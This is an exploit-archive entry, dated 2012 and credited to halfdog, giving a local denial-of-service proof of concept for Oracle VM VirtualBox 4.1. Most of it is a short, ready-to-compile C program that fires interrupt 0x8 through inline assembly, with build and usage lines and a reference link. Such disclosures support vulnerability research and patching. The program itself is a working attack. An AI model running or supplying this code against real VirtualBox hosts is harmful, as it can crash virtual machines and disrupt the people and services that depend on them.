Oracle VM VirtualBox 4.1 Local DoS PoC

2012.09.11
Credit: halfdog
Risk: Low
Local: Yes
Remote: No
CVE: N/A
CWE: N/A

/** This software is provided by the copyright owner "as is" and any * expressed or implied warranties, including, but not limited to, * the implied warranties of merchantability and fitness for a particular * purpose are disclaimed. In no event shall the copyright owner be * liable for any direct, indirect, incidential, special, exemplary or * consequential damages, including, but not limited to, procurement * of substitute goods or services, loss of use, data or profits or * business interruption, however caused and on any theory of liability, * whether in contract, strict liability, or tort, including negligence * or otherwise, arising in any way out of the use of this software, * even if advised of the possibility of such damage. * * Copyright (c) 2012 halfdog <me (%) halfdog.net> * * Compile: gcc -o RtcInt RtcInt.c * Usage: ./RtcInt */ int main(int argc, char **argv) { asm ( "int $0x8;" : // output: none : // input: none :"%eax", "%ebx", "%ecx", "%edx" // clobbered register ); return(0); }

References:

Description
http://cxsecurity.com/issue/WLB-2012090078


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